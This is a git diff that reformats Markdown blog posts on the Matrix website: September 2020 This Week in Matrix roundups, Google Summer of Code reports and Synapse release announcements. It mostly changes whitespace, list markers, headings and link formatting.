Themes: modify `chat.message.styleSheet` to add some spacing between HTML > > list items, see > [48663ae](https://github.com/mirukana/mirage/commit/48663ae8465e90646855435b47b89c01395ae4d9) @@ -281,7 +280,7 @@ What a great use of workers! The possibilities for this are really impressive... > > after the @ > -> * Consider the partial text from IME (input method editors) and touch screen +> * Consider the partial text from IME (input method editors) and touch screen > > autocompleting keyboards and for username autocompletion > @@ -305,9 +304,9 @@ What a great use of workers! The possibilities for this are really impressive... > > by an account alias > -> * Servers can potentially return an outdated member list for rooms on initial +> * Servers can potentially return an outdated member list for rooms on initial > -> sync, which is one of the possible cause of "Members not synced" error for +> sync, which is one of the possible cause of "Members not synced" error for > encrypted rooms. > > When loading the full room list, discard members from the initial sync list @@ -315,9 +314,9 @@ What a great use of workers! The possibilities for this are really impressive... > > For those not using the AppImage or Flatpak, this fix requires **matrix-nio 0.15.1** or later to take effect. > -> * When erasing an account alias inside the composer, send a +> * When erasing an account alias inside the composer, send a > -> "x isn't typing anymore" notification corresponding to that account +> "x isn't typing anymore" notification corresponding to that account > > * Fix potential 403 error on chat pages for invited rooms. > @@ -329,7 +328,7 @@ What a great use of workers! The possibilities for this are really impressive... [Bruno](https://matrix.to/#/@bwindels:matrix.org) announced: -> Released 0.0.34 this week with some fixes to the room list sorting and fixing several crashes. If you clear your session, it will also sort low priority rooms at the bottom of the room list, even if unread, making it a bit more usable until we add more UX refinements to the room list. +> Released 0.0.34 this week with some fixes to the room list sorting and fixing several crashes. If you clear your session, it will also sort low priority rooms at the bottom of the room list, even if unread, making it a bit more usable until we add more UX refinements to the room list. > > Most of the effort this week however has gone into working on end-to-end encryption, having investigated using the rust-sdk for a couple of days, and now looking into a custom implementation based on libolm. This is well on its way with key upload working and device tracking nearing completion. @@ -359,8 +358,8 @@ We are always fixing bugs! > This week, we made 2 release candidates available through [TestFlight](https://testflight.apple.com/join/lCeTuDKM). New features are : > -> - app access protection with PIN code, TouchID or FaceID -> - the come back of the incoming native call screen +> * app access protection with PIN code, TouchID or FaceID +> * the come back of the incoming native call screen > > A huge thanks to the community for the feedbacks. It helped us to discover issues like a crash in background due to PushKit. The coming TF (1.0.7) should fix all of them @@ -407,6 +406,7 @@ Cool! There are so many bot creation systems for Matrix now! > During October, merged PRs to any(!) public GitHub repo will count towards a person's score. With four PRs, they get a very neat looking t-shirt from the organizer DigitalOcean. They can also ask for a tree to be planted instead. > > As a maintainer, +> > 1. Add a "Hacktoberfest" label (color suggestion: `#FF7518`) on issues to point people to tasks with a clear scope. > 2. Let people know that you're interested in contributions and will review them. > 3. Add the label "invalid" on a PR that's spam or a minor contribution that shouldn't count (fixing typos, blindly upgrading dependencies, etc.). diff --git a/content/blog/2020/09/2020-09-04-this-week-in-matrix-2020-09-04.md b/content/blog/2020/09/2020-09-04-this-week-in-matrix-2020-09-04.md index 2c916650a..875153589 100644 --- a/content/blog/2020/09/2020-09-04-this-week-in-matrix-2020-09-04.md +++ b/content/blog/2020/09/2020-09-04-this-week-in-matrix-2020-09-04.md @@ -93,7 +93,7 @@ But then: > > Andrew has been working on having a confirmation pop up after users click the link in their email, to help prevent phishing scams. He's also trying to finally make Synapse spec-compliant in accepting identifier dictionaries during user-interactive authentication. > -> Olivier has been continuing to help Synapse recover missed messages better after it has been offline for an extended period of time, as well as various fixes to push. +> Olivier has been continuing to help Synapse recover missed messages better after it has been offline for an extended period of time, as well as various fixes to push. > > Expect a fresh release with all these changes soon! @@ -111,7 +111,7 @@ Dendrite is a next-generation homeserver written in Go > > * The current state server is in the process of being deprecated, with this functionality being folded into the roomserver > -> * Support for rate limiting on certain CS API endpoints has been added +> * Support for rate limiting on certain CS API endpoints has been added > * Support for password changes has been added, allowing users to change their own password > > * `/sync` no longer incorrectly lists some rooms in the leave section, which caused problems with Element Web and other clients @@ -190,13 +190,13 @@ Ditto is a Matrix client for iOS & Android [Annie](https://matrix.to/#/@annie:ditto.chat) offered: -> Ditto development is back from hiatus! +> Ditto development is back from hiatus! > -> I'm currently in the process of rebuilding Ditto - partly to incorporate rn-matrix, and partly to support a WEB VERSION +> I'm currently in the process of rebuilding Ditto - partly to incorporate rn-matrix, and partly to support a WEB VERSION > > The new repo can be found [here (https://gitlab.com/ditto-chat/ditto)](https://gitlab.com/ditto-chat/ditto) (there's a new repo mostly because getting react-native-web to play nicely with the rest of the app was a challenge, to say the least) > -> As a sneak peek, enjoy [this rough version (https://ditto-test.netlify.app)](https://ditto-test.netlify.app) of Ditto for web :) +> As a sneak peek, enjoy [this rough version (https://ditto-test.netlify.app)](https://ditto-test.netlify.app) of Ditto for web :) > > Expect to see what I'm calling Ditto's 2.0.0 drop on TestFlight and Google Play in a few weeks. > @@ -234,14 +234,14 @@ YESSSS - see Matrix Live for a demo. > [NovaChat](https://nova.chat/) is a new Matrix-based desktop client that aggregates all your chat networks into one app. We now have integrated bridges for Whatsapp, Twitter, Telegram, Hangouts, Slack, Messenger, Android Messages (SMS), Skype, Discord, Instagram and IRC. > -> #### Sept 4 Updates: +> #### Sept 4 Updates > > * Continuous UI improvements. Everything is much denser now. See screenshot below. > > * **New bridge alert**: tulir just completed an [Android Messages](https://mau.dev/tulir/mautrix-amp) SMS bridge (which is a total hack but it works!) for NovaChat. > * Added Discord Bridge. Thanks for building this Sorunome! > -> #### In the works... +> #### In the works > > * Still working on our iMessage bridge, using jailbroken iPhone 4s > @@ -284,7 +284,7 @@ YESSSS - see Matrix Live for a demo. > * Render reactions > * Add / Remove reactions by tapping on existing reactions > -> #### Fixes: +> #### Fixes > > * Don't re-render the room list nearly as often, increasing performance > @@ -336,11 +336,11 @@ rn-matrix is a React Native SDK for matrix [Annie](https://matrix.to/#/@annie:ditto.chat) offered: -> Built on the matrix-js-sdk, this NPM package will help any React Native developer drop matrix into their app. +> Built on the matrix-js-sdk, this NPM package will help any React Native developer drop matrix into their app. > -> Been working on this since the beginning of the summer - this package is split into two, one for the data and one with default UI components for those who want to drop chat into their app quickly (not required). +> Been working on this since the beginning of the summer - this package is split into two, one for the data and one with default UI components for those who want to drop chat into their app quickly (not required). > -> Would love feedback on docs, installation, and usage, so try it out and drop me a line! +> Would love feedback on docs, installation, and usage, so try it out and drop me a line! > > Links: [Docs (start here!)](https://rnmatrix.com) | [Matrix Room](https://matrix.to/#/#rnmatrix:ditto.chat) diff --git a/content/blog/2020/09/2020-09-10-gsoc-report-enabling-e2ee-in-opsdroid-matrix-connector.md b/content/blog/2020/09/2020-09-10-gsoc-report-enabling-e2ee-in-opsdroid-matrix-connector.md index ab4aeb45a..b614fc395 100644 --- a/content/blog/2020/09/2020-09-10-gsoc-report-enabling-e2ee-in-opsdroid-matrix-connector.md +++ b/content/blog/2020/09/2020-09-10-gsoc-report-enabling-e2ee-in-opsdroid-matrix-connector.md @@ -31,7 +31,7 @@ Porting to nio and adding encryption support was the bulk of the project, and th ## The Process -The process began with [This PR](https://github.com/opsdroid/opsdroid/pull/1418) which gave us a head start with the migration to matrix-nio. Through helping to review the PR I got to understand how matrix-nio and opsdroid work. +The process began with [This PR](https://github.com/opsdroid/opsdroid/pull/1418) which gave us a head start with the migration to matrix-nio. Through helping to review the PR I got to understand how matrix-nio and opsdroid work. The implementation of encryption support was a little tricky in that it was tough to figure out the process required to do that in the context of the connector. One problem we faced was the installation of dependencies. Installing `libolm`, a C library which nio uses for encryption was a less than smooth process. This spawned a couple side projects that dealt with the CI, testing and installation of opsdroid. In the end we found a solution and had a working connector on our hands. diff --git a/content/blog/2020/09/2020-09-11-this-week-in-matrix-2020-09-11.md b/content/blog/2020/09/2020-09-11-this-week-in-matrix-2020-09-11.md index 9a0f6ae4c..357ea8e8c 100644 --- a/content/blog/2020/09/2020-09-11-this-week-in-matrix-2020-09-11.md +++ b/content/blog/2020/09/2020-09-11-this-week-in-matrix-2020-09-11.md @@ -17,7 +17,7 @@ image = "https://matrix.org/images/20200619_115714_7961364782039096870.jpg" From the schedule: -* Ag3m, from [La Quadrature du Net](https://www.laquadrature.net/en/) joins to present "Some thoughts on moderation and censorship in a decentralised world". +* Ag3m, from [La Quadrature du Net](https://www.laquadrature.net/en/) joins to present "Some thoughts on moderation and censorship in a decentralised world". * Sean DuBois ([Sean-Der](https://matrix.to/#/@sean-der:matrix.org)), WebRTC-knower and author of WebRTC for the Curious discusses his recent work in the space. * Damir Jelić presents the latest news on the Matrix Rust SDK @@ -55,26 +55,26 @@ For minutes, confusion reigned in the [chat][#twim:matrix.org] about just what t > Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at > -> #### MSC Status +> ### MSC Status > -> **Closed MSCs:** +> __Closed MSCs:__ > > * [\[WIPish\] MSC1776: Implementing peeking via /sync](https://github.com/matrix-org/matrix-doc/pull/1776) > -> **Merged MSCs:** +> __Merged MSCs:__ > -> * _No MSCs were merged this week._ +> * *No MSCs were merged this week.* > -> **MSCs in Final Comment Period:** +> __MSCs in Final Comment Period:__ > -> * _No MSCs are in FCP._ +> * *No MSCs are in FCP.* > -> **New MSCs:** +> __New MSCs:__ > > * [MSC2771: Bookmarks](https://github.com/matrix-org/matrix-doc/pull/2771) > * [MSC2772: Notifications for Jitsi Calls](https://github.com/matrix-org/matrix-doc/pull/2772) > -> #### Spec Core Team +> ### Spec Core Team > > In terms of Spec Core Team MSC focus for this week, the [widgets spec](https://github.com/matrix-org/matrix-doc/pull/2764) and related MSCs are still being completed, however is formally removed from the focus list for this week. In its place we've put something in a very similar vein: [MSC1960](https://github.com/matrix-org/matrix-doc/issues/1960) (OpenID Connect exchange for widgets). > @@ -90,13 +90,13 @@ For minutes, confusion reigned in the [chat][#twim:matrix.org] about just what t [Neil](https://matrix.to/#/@neilj:matrix.org) reported: -> This week we put out a new release candidate for [Synapse 1.20.0](https://github.com/matrix-org/synapse/releases/tag/v1.20.0rc3), highlights include shadow ban support, more async/awaiting and unread message counts being added to sync responses to support upcoming notifications work. +> This week we put out a new release candidate for [Synapse 1.20.0](https://github.com/matrix-org/synapse/releases/tag/v1.20.0rc3), highlights include shadow ban support, more async/awaiting and unread message counts being added to sync responses to support upcoming notifications work. > > Aside from that Erik has been continuing to get event persistence sharding ready for shipping. He already has a working version, but currently all workers will run at the speed for the slowest instance. Once that is fixed we will put it on matrix.org to see how it performs. > > Patrick has finished up on asyncing all the things, and is now studying flame graphs to figure out where all the cycles on the main process are going. > -> Andrew has been taking a look at the knocking [MSC](https://github.com/matrix-org/matrix-doc/pull/2403), expecting concrete progress in the next few weeks. +> Andrew has been taking a look at the knocking [MSC](https://github.com/matrix-org/matrix-doc/pull/2403), expecting concrete progress in the next few weeks. > > Brendan has been working notifications support and is currently in VoIP land helping Dave on trying to level up our VoIP support. > @@ -152,17 +152,17 @@ Get the latest: [Neil](https://matrix.to/#/@neilj:matrix.org) (same fellow from earlier) reported: > Element 1.7.6-rc.1 is now available at : -> -> - Redesigned right panel where top right actions are now revealed via the i icon -> - Widgets can now be opened in the right panel -> - Widgets won't be visible in the Apps Drawer (top of timeline) by default (except Jitsi) - you need to pin them from the right panel -> - Widgets can now be resized -> +> +> * Redesigned right panel where top right actions are now revealed via the i icon +> * Widgets can now be opened in the right panel +> * Widgets won't be visible in the Apps Drawer (top of timeline) by default (except Jitsi) - you need to pin them from the right panel +> * Widgets can now be resized +> > Coming up: -> -> - Continue work on deferred cross-signing setup -> - Our new Matrix.to should get it’s first release -> - General bug fixes around threepid invites +> +> * Continue work on deferred cross-signing setup +> * Our new Matrix.to should get it’s first release +> * General bug fixes around threepid invites ### Element for Nextcloud @@ -242,8 +242,6 @@ A model of productivity, Tulir also announced: > Just bumped the [Matrix Ruby SDK](https://github.com/ananace/ruby-matrix-sdk) to version 2.1.2, fixing another bug with server discovery as well as the fact that state events haven't been provided for the application using the SDK. Oops. - - ### matrix-appservice-rs [Lieuwe](https://matrix.to/#/@lieuwe:lieuwe.xyz) announced: @@ -261,8 +259,6 @@ A model of productivity, Tulir also announced: > > There is also now a specific room for this crate: [#matrix-appservice-rs:lieuwe.xyz](https://matrix.to/#/#matrix-appservice-rs:lieuwe.xyz), feel free to ask for support or tell if you've suggestions. - - ### quotient [kitsune](https://matrix.to/#/@kitsune:matrix.org) said: @@ -293,7 +289,7 @@ A model of productivity, Tulir also announced: [Alexander Olofsson](https://matrix.to/#/@aleol57:liu.se) reported: -> And in _completely unrelated_ news, I also just tagged version 1.0.0 of [an invite bot](https://gitlab.liu.se/ITI/matrix-invite-bot) for Matrix, which helps in doing bulk invites to communities and community-associated rooms. +> And in *completely unrelated* news, I also just tagged version 1.0.0 of [an invite bot](https://gitlab.liu.se/ITI/matrix-invite-bot) for Matrix, which helps in doing bulk invites to communities and community-associated rooms. > > A single bulk-invite (MXID or 3PID) to a main room will be propagated to invites into the community (if wanted), as well as invites to all rooms linked to the community, once the invited user joins the main room. diff --git a/content/blog/2020/09/2020-09-15-gsoc-report-html-embeddable-matrix-chat-rooms.md b/content/blog/2020/09/2020-09-15-gsoc-report-html-embeddable-matrix-chat-rooms.md index e9ada1038..7569a99de 100644 --- a/content/blog/2020/09/2020-09-15-gsoc-report-html-embeddable-matrix-chat-rooms.md +++ b/content/blog/2020/09/2020-09-15-gsoc-report-html-embeddable-matrix-chat-rooms.md @@ -16,7 +16,7 @@ This is part of a series of reports on the [*six* projects](https://summerofcode My name is [Arnav Tiwari](https://github.com/arnav-t/) and I am a prefinal year undergraduate student from [IIT Kharagpur](http://www.iitkgp.ac.in/) and I wanted to share my amazing journey with Matrix. I am a budding open-source enthusiast and this was my first experience with Google Summer of Code. For the past few months, I had been working on a project to develop an [HTML embeddable chat client](https://github.com/arnav-t/riot-embedded) under the GSoC program for Matrix. Matrix provides a highly versatile SDK for making custom clients that can be leveraged for a variety of applications, one of which is using Matrix to power an embeddable chat client. A chat client itself can have numerous forms, whether it being a live chat to a simple comments section. This project was intended to provide an easy-to-use and yet highly customizable client that can be deployed on a website with minimal effort. -My goal for the project was to have a useable project by the end of the coding period, however, as it turned out, the project was going to be tested in the real world far sooner than that. The need for an embeddable client and the feasibility of the project to fulfill this role was demonstrated during the second month of the coding period itself. The client was [deployed on the website of CommCon 2020](https://2020.commcon.xyz/live/), a virtual conference on communication technologies (an apt place to be tested, coincidentally). On the days leading up to the conference and during the conference itself, I helped the organizers to set up, integrate, and troubleshoot the client when required. While the process went mostly without any hiccups, there was one small incident when the client broke during production. Since the project was still pretty early in development, I didn’t expect it to be bug-free and had anticipated the possibility of this happening. I was keeping an eye on things, which proved to be a prudent decision as I was able to fix this problem quickly and with minimal downtime. The rest of the conference went smoothly and the client performed quite well even when the number of users was quite large (A testament to Matrix’s scalability). Getting to experience this was a pleasant surprise since I never expected to have real users so soon, much less so many at once. Seeing the client being used out in the wild was a very fulfilling thing to witness. I also gained some very valuable feedback, courtesy of Dan, CommCon’s master of ceremonies. +My goal for the project was to have a useable project by the end of the coding period, however, as it turned out, the project was going to be tested in the real world far sooner than that. The need for an embeddable client and the feasibility of the project to fulfill this role was demonstrated during the second month of the coding period itself. The client was [deployed on the website of CommCon 2020](https://2020.commcon.xyz/live/), a virtual conference on communication technologies (an apt place to be tested, coincidentally). On the days leading up to the conference and during the conference itself, I helped the organizers to set up, integrate, and troubleshoot the client when required. While the process went mostly without any hiccups, there was one small incident when the client broke during production. Since the project was still pretty early in development, I didn’t expect it to be bug-free and had anticipated the possibility of this happening. I was keeping an eye on things, which proved to be a prudent decision as I was able to fix this problem quickly and with minimal downtime. The rest of the conference went smoothly and the client performed quite well even when the number of users was quite large (A testament to Matrix’s scalability). Getting to experience this was a pleasant surprise since I never expected to have real users so soon, much less so many at once. Seeing the client being used out in the wild was a very fulfilling thing to witness. I also gained some very valuable feedback, courtesy of Dan, CommCon’s master of ceremonies. Over the next month or so, I kept on steadily adding features and building up the client. The next big break for the project came in the form of another conference. [KDE Akademy 2020](https://akademy.kde.org/2020). This was a big surprise as I genuinely didn’t expect to see another large conference using the project so soon. The conference was scheduled to be held after a week or so after the end of the coding period. This time, however, the integration was almost completely handled by the conference organizers themselves since it had to be integrated with their version of BigBlueButton, a web conferencing system. As the conference drew nearer, things seemed to be working out well and there was no sign of trouble. When the day of the conference finally came, however, many things seem to break simultaneously due to an apparent incompatibility with BBB. In the end, despite the numerous attempts by the conference organizers and myself to remedy the issues, they had to roll back to an older version of the chat since the risk would be too great. The organizers were understandably disappointed since they had spent a while working on the integration and had seen the great potential of using this client in place of their old chat system.. Even though It was a sad conclusion to the journey, there were still many lessons to be learned. Most importantly, even though the client might work well in standalone circumstances, ease of integration might have some room for improvement. Open-source development never truly stops and I don’t intend to give up on this project. I look forward to constantly improving it and seeing more people adopt it. diff --git a/content/blog/2020/09/2020-09-16-gsoc-report-ruma-procedural-macro-refactoring-and-more.md b/content/blog/2020/09/2020-09-16-gsoc-report-ruma-procedural-macro-refactoring-and-more.md index f8e02a256..c17167f86 100644 --- a/content/blog/2020/09/2020-09-16-gsoc-report-ruma-procedural-macro-refactoring-and-more.md +++ b/content/blog/2020/09/2020-09-16-gsoc-report-ruma-procedural-macro-refactoring-and-more.md @@ -10,7 +10,7 @@ category = ["GSOC"] This is part of a series of reports on the [*six* projects](https://summerofcode.withgoogle.com/organizations/6060943798173696) assigned to Matrix for Google Summer of Code 2020. -[View project: Ruma procedural macro refactoring and more](https://summerofcode.withgoogle.com/organizations/6060943798173696/#4756651216732160) +[View project: Ruma procedural macro refactoring and more](https://summerofcode.withgoogle.com/organizations/6060943798173696/#4756651216732160) ---- diff --git a/content/blog/2020/09/2020-09-16-synapse-1-19-2-released.md b/content/blog/2020/09/2020-09-16-synapse-1-19-2-released.md index 4fe632fd6..27fe434c0 100644 --- a/content/blog/2020/09/2020-09-16-synapse-1-19-2-released.md +++ b/content/blog/2020/09/2020-09-16-synapse-1-19-2-released.md @@ -15,7 +15,7 @@ The bug prevents affected Synapse instances from joining rooms with invalid even __Those on Synapse 1.19.1 or earlier should upgrade to Synapse 1.19.2, while those who are running a release candidate of Synapse 1.20.0 should upgrade to 1.20.0rc4.__ -Get the new releases from any of the usual sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. 1.19.2 is on github [here](https://github.com/matrix-org/synapse/releases/tag/v1.19.2), and 1.20.0rc4 is [here](https://github.com/matrix-org/synapse/releases/tag/v1.20.0rc4). +Get the new releases from any of the usual sources mentioned at . 1.19.2 is on github [here](https://github.com/matrix-org/synapse/releases/tag/v1.19.2), and 1.20.0rc4 is [here](https://github.com/matrix-org/synapse/releases/tag/v1.20.0rc4). The changelog for 1.19.2 is as follows: @@ -23,4 +23,5 @@ The changelog for 1.19.2 is as follows: Due to the issue below server admins are encouraged to upgrade as soon as possible. Bugfixes + - Fix joining rooms over federation that include malformed events. (#8324) diff --git a/content/blog/2020/09/2020-09-18-gsoc-report-moving-matrix-ircd-to-async-await-and-futures-0-3.md b/content/blog/2020/09/2020-09-18-gsoc-report-moving-matrix-ircd-to-async-await-and-futures-0-3.md index 79564cc44..901814de5 100644 --- a/content/blog/2020/09/2020-09-18-gsoc-report-moving-matrix-ircd-to-async-await-and-futures-0-3.md +++ b/content/blog/2020/09/2020-09-18-gsoc-report-moving-matrix-ircd-to-async-await-and-futures-0-3.md @@ -40,15 +40,14 @@ Lastly, In [#77](https://github.com/matrix-org/matrix-ircd/pull/77) I included m ## Remaining Work -Based on my personal testing there is _no additional work_ to be done in the realm of updating to async/await. All tests pass and the IRC server and matrix bridge function as expected. @jplatte kindly announced in the [This Week In Matrix](https://matrix.org/blog/category/this-week-in-matrix#matrix-ircd---call-for-testing) blog that we will be conducting public testing of the `async_await` branch on github. Barring any issues the async/await code should be merged into the master branch in the next few weeks. +Based on my personal testing there is *no additional work* to be done in the realm of updating to async/await. All tests pass and the IRC server and matrix bridge function as expected. @jplatte kindly announced in the [This Week In Matrix](https://matrix.org/blog/category/this-week-in-matrix#matrix-ircd---call-for-testing) blog that we will be conducting public testing of the `async_await` branch on github. Barring any issues the async/await code should be merged into the master branch in the next few weeks. ### Pull request list -* https://github.com/matrix-org/matrix-ircd/pull/64 -* https://github.com/matrix-org/matrix-ircd/pull/65 -* https://github.com/matrix-org/matrix-ircd/pull/66 -* https://github.com/matrix-org/matrix-ircd/pull/67 -* https://github.com/matrix-org/matrix-ircd/pull/71 -* https://github.com/matrix-org/matrix-ircd/pull/72 -* https://github.com/matrix-org/matrix-ircd/pull/77 - +* +* +* +* +* +* +* diff --git a/content/blog/2020/09/2020-09-18-this-week-in-matrix-2020-09-18.md b/content/blog/2020/09/2020-09-18-this-week-in-matrix-2020-09-18.md index 885f79b9f..4c09a5663 100644 --- a/content/blog/2020/09/2020-09-18-this-week-in-matrix-2020-09-18.md +++ b/content/blog/2020/09/2020-09-18-this-week-in-matrix-2020-09-18.md @@ -55,8 +55,6 @@ The review is very positive, awarding 4.5/5, and concludes: > > In terms of Spec Core Team MSC focus for this week, [MSC1960](https://github.com/matrix-org/matrix-doc/issues/1960) has made it into FCP, so this week our focus is [MSC2414](https://github.com/matrix-org/matrix-doc/issues/2414). - - ![2020-09-18-8BoQF-stacked_area_chart.png](/blog/img/2020-09-18-8BoQF-stacked_area_chart.png) ## Dept of Servers 🏢 @@ -100,7 +98,7 @@ Conduit is a Matrix homeserver written in Rust > The good news is that Conduit is starting to federate now. This means that you should be able to join all public rooms of the Matrix network and exchange messages. Note that Conduit does not do all the checks it should be doing yet making it stop sending messages from time to time as well as that advanced features like loading the history, syncing temporary data like read receipts or accepting invites are not implemented yet. > > The bad news is that, while Synapse is happy to accept Conduit's messages when it is already part of the room, joining into one of the rooms Conduit servers are part of didn't work because of an event validation bug. The Matrix team did an excellent job at fixing this bug and releasing a Synapse patch the same day, but the damage has been done making a few rooms inaccessible to old Synapse servers. -> Thanks to everyone who supports me on "Liberapay" (https://liberapay.com/timokoesters) or Bitcoin! +> Thanks to everyone who supports me on "Liberapay" () or Bitcoin! ## Synapse Deployment 📥️ @@ -148,7 +146,7 @@ then later [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) reported: -> Hi encryption fans. This week the bridge team has been churning away at adding support for encrypted rooms in the `matrix-appservice-bridge` library, to enable support in `matrix-appservice-irc`, `matrix-appservice-slack`, and anyone else using the library. This is probably the most exciting feature the library has seen in a long time! +> Hi encryption fans. This week the bridge team has been churning away at adding support for encrypted rooms in the `matrix-appservice-bridge` library, to enable support in `matrix-appservice-irc`, `matrix-appservice-slack`, and anyone else using the library. This is probably the most exciting feature the library has seen in a long time! > > The feature will be a simple config toggle, so existing bridges will have to do very little work to support it. > @@ -162,12 +160,13 @@ then later > * Released 1.7.6 and 1.7.7 highlights include > -> * Redesigned right panel where top right actions are now revealed via the i icon -> * Widgets can now be opened in the right panel +> * Redesigned right panel where top right actions are now revealed via the i icon +> * Widgets can now be opened in the right panel +> +> * Widgets won't be visible in the Apps Drawer (top of timeline) by default (except Jitsi) - you need to pin them from the right panel +> * Widgets can now be resized > -> * Widgets won't be visible in the Apps Drawer (top of timeline) by default (except Jitsi) - you need to pin them from the right panel -> * Widgets can now be resized -- A new version of matrix.to is now live you can check it out [here](https://matrix.to/), [bug reports welcome](https://github.com/matrix-org/matrix.to/issues) +* A new version of matrix.to is now live you can check it out [here](https://matrix.to/), [bug reports welcome](https://github.com/matrix-org/matrix.to/issues) > > * A new feature to defer e2ee set up until the user actually wishes to use an e2ee channel. > @@ -183,17 +182,17 @@ then later > > * Add a **system tray icon**. > -> A left click will bring up the Mirage window, -> middle will quit the application and right will show a menu with these +> A left click will bring up the Mirage window, +> middle will quit the application and right will show a menu with these > > options. > > * Add a `closeMimizesToTray` setting to the config file, defaults to `false`. > -> Controls whether closing the Mirage window will leave it running in the +> Controls whether closing the Mirage window will leave it running in the > system tray, or fully quit the application. > -> * Add a discrete **read marker indicator** to messages, shows how many people +> * Add a discrete **read marker indicator** to messages, shows how many people > > have this event as their last seen one in the room. > A way to see who read the message and when will be added in the future. @@ -216,14 +215,14 @@ then later > > set to run different "profiles" in parallel. > -> * Reduce the visible lag when opening a chat page, switching rooms should be +> * Reduce the visible lag when opening a chat page, switching rooms should be > > a lot smoother > > * When using the `focusPreviousMessage` and `focusNextMessage` keybinds, if no > -> message is focused and the timeline has been scrolled up, -> focus the message in the center of the view instead of returning to the +> message is focused and the timeline has been scrolled up, +> focus the message in the center of the view instead of returning to the > > bottom of the timeline and focusing the last one. > @@ -234,13 +233,13 @@ then later > > setting. > -> * Show a better terminal error message than "Component is not ready" when the +> * Show a better terminal error message than "Component is not ready" when the > > window creation fails, giving details on what went wrong in the code > -> * If an account's access token is invalid (e.g. our session was signed out +> * If an account's access token is invalid (e.g. our session was signed out > -> externally), say so with a popup and cleanly remove it from the UI, +> externally), say so with a popup and cleanly remove it from the UI, > instead of spamming the user with errors. > > * Rename message context menu option "Debug this event" to just "Debug" @@ -279,17 +278,17 @@ then later > Released 0.037 on Monday with some polish for E2EE: > -> * remove outdated devices when querying -> * update room summary with decrypted events, also when retrying decryption +> * remove outdated devices when querying +> * update room summary with decrypted events, also when retrying decryption > -> * various crash protections -> * keep megolm session with earliest index when receiving a room key we already know about +> * various crash protections +> * keep megolm session with earliest index when receiving a room key we already know about > -> * add new icon -> * fix issue where olm would be loaded twice when login failed +> * add new icon +> * fix issue where olm would be loaded twice when login failed > -> * show decryption errors in timeline -> * show encryption enabled tile in timeline +> * show decryption errors in timeline +> * show encryption enabled tile in timeline > > The rest of the week was implementing session backup, which I hoped would be ready to release today but it needs some more polish unfortunately. In the meantime, here's a GIF teaser: @@ -303,32 +302,32 @@ Thank you to [Krille](https://matrix.to/#/@krille:janian.de), who told us: > > ### Features > -> - Added translations: Armenian, Turkish, Chinese (Simplified), Estonian -> - Url-ify matrix identifiers -> - Use server-side generated thumbnails in cleartext rooms -> - Add option to send images in their original resolution -> - Add additional confirmation for sending files & share intents -> - Add option to opt-in to report issues / crashes to sentry -> - Write keys to online key backup, fully implementing online key backup +> * Added translations: Armenian, Turkish, Chinese (Simplified), Estonian +> * Url-ify matrix identifiers +> * Use server-side generated thumbnails in cleartext rooms +> * Add option to send images in their original resolution +> * Add additional confirmation for sending files & share intents +> * Add option to opt-in to report issues / crashes to sentry +> * Write keys to online key backup, fully implementing online key backup > > ### Changes > -> - Tapping links, pills, etc. now does stuff -> - Better handling of sending messages in bad network -> - Better recovery of "keys not cached" -> - E2EE is enabled again +> * Tapping links, pills, etc. now does stuff +> * Better handling of sending messages in bad network +> * Better recovery of "keys not cached" +> * E2EE is enabled again > -> ### Fixes: +> ### Fixes > -> - Various html rendering and url-ifying fixes -> - Added support for blurhashes -> - Image viewer now eventually displays the original image, not only the thumbnail +> * Various html rendering and url-ifying fixes +> * Added support for blurhashes +> * Image viewer now eventually displays the original image, not only the thumbnail ## Dept of SDKs and Frameworks 🧰 ### Hemppa -Hemppa the bot is a multi-purpose Matrix bot for writing new functionality easily with Python. +Hemppa the bot is a multi-purpose Matrix bot for writing new functionality easily with Python. [Cos](https://matrix.to/#/@cos:hacklab.fi) said: @@ -340,7 +339,7 @@ Hemppa the bot is a multi-purpose Matrix bot for writing new functionality easil > Another week, another [Ruby SDK](https://github.com/ananace/ruby-matrix-sdk) release. This time adding a little fix to avoid duplicate state events being passed twice to the application if identical ones arrive in both state and timeline, also adds a global state event handler and moves room event handling to not depend on room instances themselves. -Asked how much the SDK is used in production, Ananace said: +Asked how much the SDK is used in production, Ananace said: > a little, we've hooked Matrix into our server orchestration / configuration management system TheForeman - which is a Rails application. Also got a colleague who's doing a bot to linkify internal ticket IDs. @@ -417,7 +416,7 @@ Here we reveal, rank, and applaud the homeservers with the lowest ping, as measu |9|uraziel.de|3253| |10|kapsi.fi|3713| -### Dept of Ping Extra: +### Dept of Ping Extra [timo](https://matrix.to/#/@timo:koesters.xyz) announced: diff --git a/content/blog/2020/09/2020-09-22-synapse-1-20-0-released.md b/content/blog/2020/09/2020-09-22-synapse-1-20-0-released.md index c9a2c9bcd..ef667fb6d 100644 --- a/content/blog/2020/09/2020-09-22-synapse-1-20-0-released.md +++ b/content/blog/2020/09/2020-09-22-synapse-1-20-0-released.md @@ -11,146 +11,127 @@ category = ["Releases"] Synapse 1.20.0 is here! Highlights of 1.20.0 include:- - * Shadow ban support. - * Unread message counts in the sync response to help our client developers, this is a precursor to improving notification support. - * No less than 28 async/await PRs, so we can finally share all the hard work. -Also take note that in a future release, we will be dropping support for accessing Synapse's Admin API using the ```/_matrix/client/* prefixes```. More details follow in the changelog. +* Shadow ban support. +* Unread message counts in the sync response to help our client developers, this is a precursor to improving notification support. +* No less than 28 async/await PRs, so we can finally share all the hard work. -Get the new releases from any of the usual sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. 1.20.0 is on github [here](https://github.com/matrix-org/synapse/releases/tag/v1.20.0), and 1.20.0rc4 is [here](https://github.com/matrix-org/synapse/releases/tag/v1.20.0rc4). +Also take note that in a future release, we will be dropping support for accessing Synapse's Admin API using the ```/_matrix/client/* prefixes```. More details follow in the changelog. +Get the new releases from any of the usual sources mentioned at . 1.20.0 is on github [here](https://github.com/matrix-org/synapse/releases/tag/v1.20.0), and 1.20.0rc4 is [here](https://github.com/matrix-org/synapse/releases/tag/v1.20.0rc4). The changelog for 1.20.0 is as follows: - -Synapse 1.20.0 (2020-09-22) -=========================== +## Synapse 1.20.0 (2020-09-22) No significant changes since v1.20.0rc5. -Removal warning ---------------- +### Removal warning Historically, the [Synapse Admin API](https://github.com/matrix-org/synapse/tree/master/docs) has been accessible under the `/_matrix/client/api/v1/admin`, `/_matrix/client/unstable/admin`, `/_matrix/client/r0/admin` and `/_synapse/admin` prefixes. In a future release, we will be dropping support for accessing Synapse's Admin API using the `/_matrix/client/*` prefixes. This makes it easier for homeserver admins 